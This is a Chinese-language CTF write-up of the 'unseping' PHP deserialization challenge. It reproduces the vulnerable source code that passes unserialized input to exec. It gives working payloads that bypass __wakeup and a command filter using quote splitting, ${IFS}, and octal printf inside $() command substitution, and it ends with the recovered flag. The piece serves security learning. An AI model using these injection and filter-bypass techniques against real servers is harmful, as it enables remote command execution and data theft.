PHP反序列化例题以及Bypass总结

发布时间 2023-08-02 16:03:20作者: Tzyyyyy

unseping

题目源码

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

__wakeup的绕过

     将需要进行反序列化的对象的序列化字符串中的成员数改为大于实际成员数即可。原理是:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

引号 双引号绕过

(1)整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

    先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls

    再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。

    接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

    综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

 (2)post上传构造后的序列化字符串来查看目录文件,构造方法是$method=ping,$arg为想要执行的外部命令ls,ls可以用''单引号或""双引号进行绕过,注意要闭合,此处是运用了Bash shell中单双引号的特性。另外还要注意$arg是数组的形式:

payload1

$test = new ease("ping",array('l""s'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" } 

空格绕过

Linx命令中 ${IFS}

 Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,可用于对空格进行绕过。

payload2**

$test = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" } 

Bash shell空格绕过

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

printf绕过(字符串进制绕过)

Linux中的printf函数()

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

转ASCII转八绕过

cat flag_1s_here/flag_831b69012c67b35f.php

ASCII编码转为

99 97 116 32 102 108 97 103 95 49 115 95 104 101 114 101 47 102 108 97 103 95 56 51 49 98 54 57 48 49 50 99 54 55 98 51 53 102 46 112 104 112

八进制转为

\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160

$()与反引号

    在bash中,$( )与 (反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。

示例:命令:$ echo today is $(date "+%Y-%m-%d"),首先执行date命令,然后将执行结果替换后组成新的命令$echo today is 2014-07-01进行执行。显示:today is 2014-07-01。注意$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$。

payload3

由于php是后端语言 不会在前端显示 所以需要用printf进行输出

$test = new ease("ping",array('$(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160")'));
$a=serialize($test);
$b=base64_encode($a);
echo $b
在这个代码中,第一个 $ 是 Bash Shell 中的变量引用符号。当我们在命令行中输入$后跟着一个变量名时,Shell 会替换该变量为其对应的值。

在这个例子中,代码中的 $ 跟着 $(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160") ,意味着我们要将这个整个表达式作为命令行执行,并将命令行的输出结果作为值赋给数组的元素。

换句话说,这个代码片段中,使用$可以执行括号中的命令,并将命令的输出结果作为数组的元素。

得到结果

array(2){[0]=> string(5) " string(47) "//$cyberpeace{5e2df8ca0476abf594b980e8dc78f884}"} 

得到flag

cyberpeace{5e2df8ca0476abf594b980e8dc78f884}